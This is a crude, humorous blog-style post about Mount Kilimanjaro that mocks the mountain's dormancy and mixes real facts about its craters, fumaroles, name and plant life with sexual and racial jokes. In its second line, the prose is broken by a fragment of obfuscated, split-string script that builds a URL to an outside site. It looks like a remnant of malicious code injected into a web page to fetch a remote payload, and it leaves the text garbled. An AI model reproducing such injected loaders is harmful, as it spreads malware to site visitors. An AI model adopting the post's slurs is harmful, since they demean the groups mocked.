Kilimanjaro

A totally non-issue except as "evidence" of Global Warming.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j

Kiba Summit.

The whole Blank-Shooting Kaboodle from the sky. I guess it is beautiful for something that is supposed to have a lot of vagetation at the top.

Just The Facts

  1. It is just a mountain with three ass-holes on top. Kinda like Bubba.
  2. It is an inactive Volcano that isn't killing anybody anytime soon.
  3. The name is still kick-ass in a monkey-language kind of a way.

God Damn it. I haven't been this unimpresses since The Matrix became a Trilogy.

Even though it totally sounds like it should, Kilimanjaro is not a dangerous thing or a killer volcano. It has been inactive since forever ago and does not even have a good reputation except, I guess, for enchanting White people. The Tanzanians, however, have a much more apropos perspecive. I do believe it is the "So what, you stupid Cracker?" approach. Too bad Tanzania doesn't have its own devil to compete with Tazmania.

However, Kilimanjaro does have fumaroles that emit gas and heat just inside the main crater. There are three craters. The "main" crater (supposedly because it is bigger and the apparent center of the three) named Kibo which contains the aforementioned vents I called fumaroles. The shit that comes out of fumaroles can be likened to pre-ejaculatory material that just do not seem(en?) to deliver what they promise, which is a big climax. On top of this, magma is just 400 meters below the surface of the crater. There have been more landslides than anything as far as any surface activity goes. Too bad really. Kilimanjaro is more like a patron idol for superficially hip men with cool yet meaningless names and raving youth (latent vitality at least) and still can't manage to erupt. Poor. flaccid bastard. Maybe if he got some advice from Dante at his Peak? I don't know.

It would seem that with a badass name that implies it is Native American for murderous son of a bitch that there would be more of a body count. Seriously, Kil-a-man-jaro. Or Kill a man-Jaro. Jaro who has killed a man so that is his fucking name (even though he is in Africa, he should be an adventerous son-of-a-bitch!). Nontheless, Kilimanjaro has no body count that is his fault. In fact, the name is a bit of a mystery. Not only does it seem pseudo-African and totally what a frat boy would name himself, it seems to be taken in two parts from two local tribes. Kili is from the Swahilian Kilima and Njaro is either ancient Swahili or Kichagga.

I suppose the only other thing to bring up is the fact that it is a "Sky Island" and has nearly 10,000 feet of forest land that is adapted to high altitude life. There are 1200 species of vascular plant life. That is kinda cool, I guess. But I expected more murderous magmamic rampages and less Buddha-in-Africa. Oh, and as for the evidence of Global Warming, supposedly the snow is melting slowly for some reason. It isn't that some adventerous people went up there and saw melted snow, it is that each year there is just less depth to the snow. So, Global Warming could be a factor or something that was just unforseen. I don't know what. Maybe the snow becomes sentient and committs suicide for being formed on such a sorry excuse for a man-mountain. I'm going to Bald Mountain, at least Chernabog can put on a show.